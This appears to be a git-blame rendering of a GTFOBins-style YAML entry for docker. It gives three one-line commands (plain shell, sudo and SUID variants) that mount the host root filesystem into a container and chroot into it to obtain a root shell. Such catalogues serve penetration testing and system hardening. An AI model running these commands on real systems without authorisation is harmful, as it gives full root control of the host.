2018-08-17 17:16:09 +02:00
|
|
|
---
|
2018-08-19 09:40:37 +02:00
|
|
|
description: |
|
2019-07-02 14:55:40 +02:00
|
|
|
This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`.
|
2018-08-17 17:16:09 +02:00
|
|
|
functions:
|
2019-07-02 14:55:40 +02:00
|
|
|
shell:
|
|
|
|
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
|
|
|
|
code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
2018-10-05 19:55:38 +02:00
|
|
|
sudo:
|
2019-07-02 14:55:40 +02:00
|
|
|
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
|
|
|
|
code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
2018-10-05 19:55:38 +02:00
|
|
|
suid:
|
2019-07-02 14:55:40 +02:00
|
|
|
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
|
|
|
|
code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
2018-08-17 17:16:09 +02:00
|
|
|
---
|